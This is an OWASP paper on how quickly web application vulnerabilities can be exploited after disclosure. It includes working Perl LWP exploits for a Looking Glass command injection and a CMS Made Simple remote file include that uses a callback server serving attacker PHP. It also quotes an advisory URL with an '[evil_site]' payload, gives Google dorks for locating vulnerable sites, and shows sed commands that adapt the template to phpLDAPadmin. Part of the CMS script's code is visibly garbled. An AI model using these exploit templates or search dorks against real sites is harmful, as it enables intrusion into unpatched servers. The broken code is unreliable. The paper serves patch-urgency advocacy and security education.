Expanding Exposure: The
Decreasing Time Between
Web Application Vulnerability
and Exploitation
Author: Charles Miller
charlesamiller@hotmail.com
OWASP Papers Program
Table of Contents
A1
A2
A3
A4
A5
A6
Abstract .................................................................................................................................................................................... 1
Introduction .............................................................................................................................................................................. 1
Perl-LWP .................................................................................................................................................................................. 1
Example 1: Looking Glass Remote Command Execution Vulnerabillity .............................................................................. 2
Example 2: CMS Made Simple Lang.PHP Remote File Include Vulnerability .................................................................... 3
Web application patching: a losing race ................................................................................................................................. 4
A6.1 Patching a vulnerable installation ................................................................................................................................ 5
A6.2 Attacking vulnerable installations................................................................................................................................. 5
A7 Conclusion ............................................................................................................................................................................... 6
A8 References ............................................................................................................................................................................... 6
A9 About the Author ...................................................................................................................................................................... 7
OWASP Papers Program
A1 Abstract
Vulnerabilities in web applications continue to be the most frequently discovered security problem. This article illustrates how
an attacker can take a vulnerability and quickly produce a functional exploit using the Perl LWP module. It demonstrates the
process on two recently announced vulnerabilities. Finally, based on this knowledge, it addresses the question of how
quickly administrators must patch systems after a new web application vulnerability is announced.
A2 Introduction
Web applications have become ubiquitous throughout the Internet. They underly most e-commerce and provide functionality
used everyday including secure file transfers, web-based emails, etc. Web applications manage and have access to some of
the most sensitive information available including social security numbers, credit reports, on-line banking accounts, health
insurance information, etc. Despite the fact web applications have access to this sensitive information, their security is
usually not sufficient as evidenced by almost daily announcements on forums such as Bugtraq [1].
There are many reasons why web applications can be the easiest route for an attacker to infiltrate a host or network. Many
sources have examined the pervasive insecurity of current web applications [2][3][4][5], but most agree that the reasons
include:

Ease of access. Web applications are typically allowed through firewalls as they operate over the web.

Inexperienced programmers. Web application programmers may not have the security experience that other
programmers possess.

Easy to analyze. Normally, source code is available and vulnerabilities can be located simply by “grep-ing” for
known types of problems.

Architecture independent. Generally, no shell code or other architecture specific information is required.

Ease of targeting. Search engines such as Google can be used to find vulnerable hosts.

Ease of exploitation. This paper will illustrate just how easy it is to exploit some common types of web application
vulnerabilities.
Some web application vulnerabilities can be exploited simply by using a web browser. Others are more complicated and
require some level of sophistication. This article mostly addresses web applications written in scripting languages, which are
typically easier to exploit. In order to illustrate web application exploitation, this article illustrates Perl's LWP, a general
purpose API for performing web queries.
A3 Perl-LWP
The Library for WWW in Perl (LWP) is a set of modules that allow programmers easy access to www-related routines. Plenty
of documentation for LWP exists, including web pages such as “Web Basics with LWP: Sample Recipes for Common Tasks”
[6] and books such as Sean Burke's “Perl & LWP” [7]. LWP has the capacity to make GET or POST requests, handle basic
HTTP authentication, store and send cookies, etc. It is a wonderful mechanism to automate web-based tasks such as writing
simple web crawling robots or stress testing web applications. Additionally, it can handle both secured and unsecured sites.
In this article, only the most basic aspects of LWP are demonstrated. The Perl code provided in this article is intended to be
demonstrative only, and does not attempt to be robust or follow best practices in coding style. Furthermore, while the speed
and ease of development of web exploits in Perl is illustrated in this article, the same could certainly be done in other
languages, notably Python and PHP.
1
OWASP Papers Program
A4 Example 1: Looking Glass Remote Command Execution Vulnerabillity
A vulnerability was announced on August 29th 2005 in the Looking Glass package [8] and was assigned Bugtraq ID 14682
[9]. This package is not widely used throughout the Internet, however, a quick Google search turned up 81 vulnerable sites
at the time of this writing.
http://www.google.com/search?q=%22Looking+Glass%22+inurl%3Alg.php
At this time, there is no official patch or workaround suggested for this product. However, this is mitigated by the fact that
commands to be executed can not contain any whitespace, minimizing the potential impact of exploitation. (There may be a
way to still execute arbitrary commands by embedding them in HTTP headers).
The vulnerability exists because a variable, $target, is passed as an argument to a function being executed within the perl
“system” call. This variable is not properly sanitized, and as a result meta-characters such “|” may be used. Thus, arbitrary
commands may be executed via command injection. The relevant code from lg.php can be seen below. Notice the failed
use of the escapeshellcmd function.
if ( $_POST["func"] AND $_POST["target"] ) {
...
$target=preg_split("/[\s,;]/",$_POST["target"]);
$target=$target[0];
...
switch ( $_POST["func"] ) {
...
case "dnsns":
$com="/usr/bin/host -Q -t NS";
...
}
...
$com=escapeshellcmd($com);
...
system("$com ".$target." 2>&1");
By examining the lg.php file, it becomes clear that in order to exploit the vulnerability, one has to set the variable $func to
dnsns, $ipv to ipv4, and the variable $target is sent to the perl “system” function. See below for LWP code which exploits this
vulnerability. This code is very simple, but illustrates the low level of effort and expertise needed to write an exploit for this
type of vulnerability.
#!/usr/bin/perl
use LWP 5.64;
# Read command line arguments
my $hostname = shift(@ARGV);
my $command = shift(@ARGV);
# Initialize user agent.
my $browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
# The URL we want to hit
my $url = "http://$hostname/LookingGlass/lg.php";
# The HTTP Post variables
my $response = $browser->post( $url,[
'func' => 'dnsns',
'ipv' => 'ipv4',
'target' => "|$command"]);
# Print out HTTP status code, should be 200
2
OWASP Papers Program
my $code = $response->status_line;
print "received $code\n";
# Grab out the results of the command execution and print
$response->content =~ /pre>(.*)<\/pre/s;
print "$1\n";
As an example of the usage of this script, consider:
> ./lg.pl localhost pwd
received 200 OK
/srv/www/htdocs/LookingGlass
A5 Example 2: CMS Made Simple Lang.PHP Remote File Include
Vulnerability
Another common type of web application vulnerability is based on the ability of the PHP language to include remote files. If
an “include” or “require” call is made which depends on variables controlled by the user, it may be possible for an attacker to
include arbitrary php code which will be executed by the web server. On August 31, 2005, such a vulnerability was
announced in CMS Made Simple [10] on Bugtraq with ID 14709 [11]. This vulnerability can only be exploited with
register_globals set to “on”. This should never be done on production systems. CMS Made Simple has since released a
new version addressing this issue [12]. At the time of this writing, there are over 11,000 sites on the Internet using this
application, hopefully they have upgraded their version of this product or have proper settings in their php.ini files.
http://www.google.com/search?q=%22powered+by+cms+made+simple%22
The relevant portion of the vulnerable code from lang.php follows:
foreach ($nls['file'][$current_language] as $onefile)
{
include($onefile);
}
If an attacker controls the variable $nls, they will gain control of the variable $onefile. They can then set this variable to point
to a remote file on the attacker's server. The php code provided by the attacker will then be executed when included. A
simple exploit using Perl's LWP and Socket modules is provided.
#!/usr/bin/perl
use LWP 5.64;
use IO::Socket;
(my $hostname, my $target, my $command) = @ARGV;
# Initialize socket for callback
my $sock = new IO::Socket::INET (
LocalHost => "$hostname",
LocalPort => '8080',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die "Could not create socket: $!\n" unless $sock;
if (my $pid = fork){
my $new_sock = $sock->accept();
my $request = <$new_sock>;
# Pretend we're a web server returning a small php script
3
OWASP Papers Program
}
print $new_sock "HTTP/1.1 200 OK\n";
print $new_sock "Content-Length: $content_length\n";
print $new_sock "Content-Type: text/plain\n\n";
print $new_sock "<? print `$command` ?>\n";
close $new_sock;
exit;
my $browser = LWP::UserAgent->new;
$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
]
my $url = "http://$target/cmsmadesimple-0.10/admin/lang.php";
my $response = $browser->post( $url,
[
'change_cms_lang' => 'vx',
'CMS_ADMIN_PAGE' => '1',
'nls[file][vx][vxsfx]' => "http://$hostname:8080/blah.php"
);
die "Received invalid response type", $response->content_type
unless $response->content_type eq 'text/html';
print $response->content;
An example of the use of this exploit is
> ./cmsmadesimple.pl localhost localhost "pwd"
/srv/www/htdocs/cmsmadesimple-0.10/admin
It should be noted, that a necessary requirement for his exploit to succeed is for the vulnerable web server to be able to
initiate a connection to the attacking computer. Various firewall configurations may prevent this from occurring. An attacker
will try various common ports, besides the port 8080 used in the above script.
A6 Web application patching: a losing race
The time between vulnerability announcement and exploitation has been decreasing for several years [13][14]. However,
while most traditional exploits require a minimum amount of time to develop, web applications are unique in that some web
application exploits can be produced in seconds, as will be seen below. Additionally, unlike traditional exploits where
extensive scanning may be necessary to locate vulnerable servers, locating vulnerable web applications can be done almost
instantly [15].
While articles have previously illustrated the decreasing time between vulnerability announcement and exploitation through
case study [16], the most interesting being [17], it is still illustrative to consider this question specifically for web applications
given the context of the rest of this article. So in light of the simplicity demonstrated in writing some web application exploits,
the amount of time necessary to patch or attack a newly discovered web application will be illustrated by way of an example.
On Fri Aug 29 09:35PM 2005 UTC, a researcher named retrogod posted a vulnerability on the Bugtraq mailing list
concerning phpLDAPadmin 0.9.6 [18]. It would eventually obtain Bugtraq ID 14695 [19]. An edited version of the posting
appears below:
4
OWASP Papers Program
phpLDAPadmin 0.9.6 - 0.9.7/alpha5 (possibly prior versions) system disclosure,
remote code execution, cross site scripting
software:
author site: http://phpldapadmin.sourceforge.net/
description: phpLDAPadmin is a web-based LDAP client. It provides easy,
anywhere-accessible, multi-language administration for your LDAP server
...
a user can also execute arbitrary php code and system commands:
http://[target][path]/phpldapadmin/welcome.php?custom_welcome_page=http:
//[evil_site]/cmd.gif
...
googledork: phpLDAPadmin intitle:phpLDAPadmin filetype:php inurl:tree.php | inurl:login.php | inurl:donate.php
At this point the race is on between attacker and defender.
A6.1 Patching a vulnerable installation
The CVS page at Sourceforge indicates that the vulnerable file welcome.php was updated in CVS at Wed Aug 31 13:42
2005 UTC [20]. The patched alpha version was released shortly thereafter at Wed Aug 31 13:56 2005 UTC [21]. The next
stable version was released Sept 25 2005 [22]. While it is possible a system administrator could edit the vulnerable php file,
its fair to say that a typical system administrator would have had to wait at least 36 hours in order to obtain the latest release
by the publisher. Depending on the application and the site, it may be possible for the administrator to remove access to the
application until an updated version is released. At this point the administrator would have to install, configure, and test the
new release. Unfortunately, many system administrators are probably still unaware of this vulnerability due to the lack of a
centralized update mechanism with web applications.
A6.2 Attacking vulnerable installations
On the other hand, the typical ingredients needed by the attacker are targeting data and technical exploitation details.
Namely, how do they locate vulnerable installations and what variables lead to the compromise. In this case, both
requirements are obtained in the advisory. Normally, targeting information is not included in the advisory, and must be
obtained by downloading and examining the source code of the application.
Using the supplied Google search terms, over a hundred web sites are still identified at the time of this writing. Probably
more were available at the time of disclosure.
At this point, all that remains is for the attacker to construct an exploit from an existing template, in this case the exploit used
previously for the CMS Made Simple vulnerability. Since most web application vulnerabilities fall into a small set of categories
[22], it is fair to assume a skilled attacker will possess templates for all such categories. First, the vulnerable variable is
replaced and then the path to the vulnerable script is changed.
> cat cmsmadesimple.pl | sed 's/nls\[file\]\[vx\]\[vxsfx\]/custom_welcome_page/' > temp
> cat temp | sed 's/cmsmadesimple-0.10\/admin\/lang.php/phpldapadmin-0.9.6c\/welcome.php/' > phpldap.pl
Finally, the attack is launched.
> ./phpldap.pl localhost localhost id
[ ... a bunch of html output ... ] uid=30(wwwrun) gid=8(www) groups=8(www)
It is difficult to imagine a scenario in which the administrator wins this race, especially considering the release did not occur
during business hours and the attacker can be ready to attack in a matter of minutes.
5
OWASP Papers Program
A7 Conclusion
This article illustrated how simple exploits can be written against web application vulnerabilities by using Perl's LWP modules.
Two recent examples in perl and php web applications were discussed, one with command injection and the other with
remote file inclusion vulnerabilities. Using LWP, functional exploits were provided. Finally, it was demonstrated that it is
virtually impossible for administrators to effectively manage the patch levels of their web applications since writing exploits
can be accomplished in a matter of seconds. In essence, with web applications, anything less than zero exposure can lead
to a compromise.
A8 References
[1] Bugtraq, http://www.securityfocus.com/archive/1
[2] C. van der Walt, Assessing Internet Security Risk, Part 4: Custom Web Applications, securityfocus.com, 10/2002,
http://online.securityfocus.com/infocus/1631
[3] P. Wood, Web Application Hacking: Exposing Your Backend, net-security.org, 11/2003, http://www.netsecurity.org/article.php?id=599
[4] J. Melbourne, D. Jorm, Penetration Testing for Web Applications (Part One), securityfocus.com, 6/2003,
http://www.securityfocus.com/infocus/1704
[5] K. Raina, Trends in Web Application Security, securityfocus.com, 10/2004, http://www.securityfocus.com/infocus/1809
[6] S. Burke, Web Basics with LWP: Sample Recipes for Common Tasks, perl.com, 8/2002
http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
[7] S. Burke, Perl & LWP, O'Reilly ISBN: 0-596-00178-9, 6/2002, http://www.oreilly.com/catalog/perllwp/index.html
[8] Looking Glass website, http://de-neef.net/articles.php?id=2&page=1
[9] Looking Glass Remote Command Execution Vulnerability, securityfocus.com, 8/2005,
http://www.securityfocus.com/bid/14682
[10] CMS Made Simple website, http://www.cmsmadesimple.org/
[11] CMS Made Simple Lang.PHP Remote File Include Vulnerability, securityfocus.com, 8/2005,
http://www.securityfocus.com/bid/14709
[12] CMS Made Simple 0.10.1 Released! Please upgrade!, CMS Made Simple
http://www.cmsmadesimple.org/moduleinterface.php?module=News&id=cntnt01&cntnt01action=detail&cntnt01articleid=40&
cntnt01returnid=1
[13] B. Schneier, Closing the Window of Exposure: Reflections on the Future of Security, securityfocus.com, 2000,
http://www.securityfocus.com/templates/forum_message.html?forum=2&head=3384&id=3384
[14] Patch Now, Not Later, 9/2005, symantec.com,
http://www.symantec.com/smallbiz/library/patch_now.html
[15] http://johnny.ihackstuff.com
[16] W. Argaugh, W. Fithen, J. McHugh, Windows of Vulnerability: A Case Study Analysis, computer.org, 12/2000
6
OWASP Papers Program
http://csdl2.computer.org/persagen/DLAbsToc.jsp?resourcePath=/dl/mags/co/&toc=comp/mags/co/2000/12/rztoc.xml&DOI=
10.1109/2.889093
[17] SABRE BinDiff vs. MS05-025 Demonstration, www.sabre-security.com, http://www.sabresecurity.com/products/flash_bindiff_png.html
[18] retrogod, phpLDAPadmin 0.9.6 – 0.9.7/apaha5 (possibly prior versions) system disclosure, securityfocus.com, 8/2005,
http://www.securityfocus.com/archive/1/409624
[19] PHPLDAPAdmin Welcome.PHP Multiple Vulnerabilities, securityfocus.com, 8/2005,
http://www.securityfocus.com/bid/14695/info
[20] cvs: phpldapadmin/phpldapadmin/welcome.php, phpldapadmin.sourceforge.net,
http://cvs.sourceforge.net/viewcvs.py/phpldapadmin/phpldapadmin/welcome.php?rev=1.21&view=markup
[21] phpLDAPadmin Development, phpldapadmin.sourceforge.net, http://phpldapadmin.sourceforge.net/developers.php
[22] phpLDAPadmin Development, phpldapadmin.sourceforge.net,
http://phpldapadmin.sourceforge.net/developers.php
[23] The Ten Most Critical Web Application Security Vulnerabilities, 1/2004, owasp.org
http://umn.dl.sourceforge.net/sourceforge/owasp/OWASPTopTen2004.pdf
A9 About the Author
Charles Miller is a Senior Security Architect at a financial services organization in Saint Louis, Missouri. Previously, he was
employed by the National Security Agency for five years where he was an application security researcher. He holds a PhD
from the University of Notre Dame and is a CISSP.
7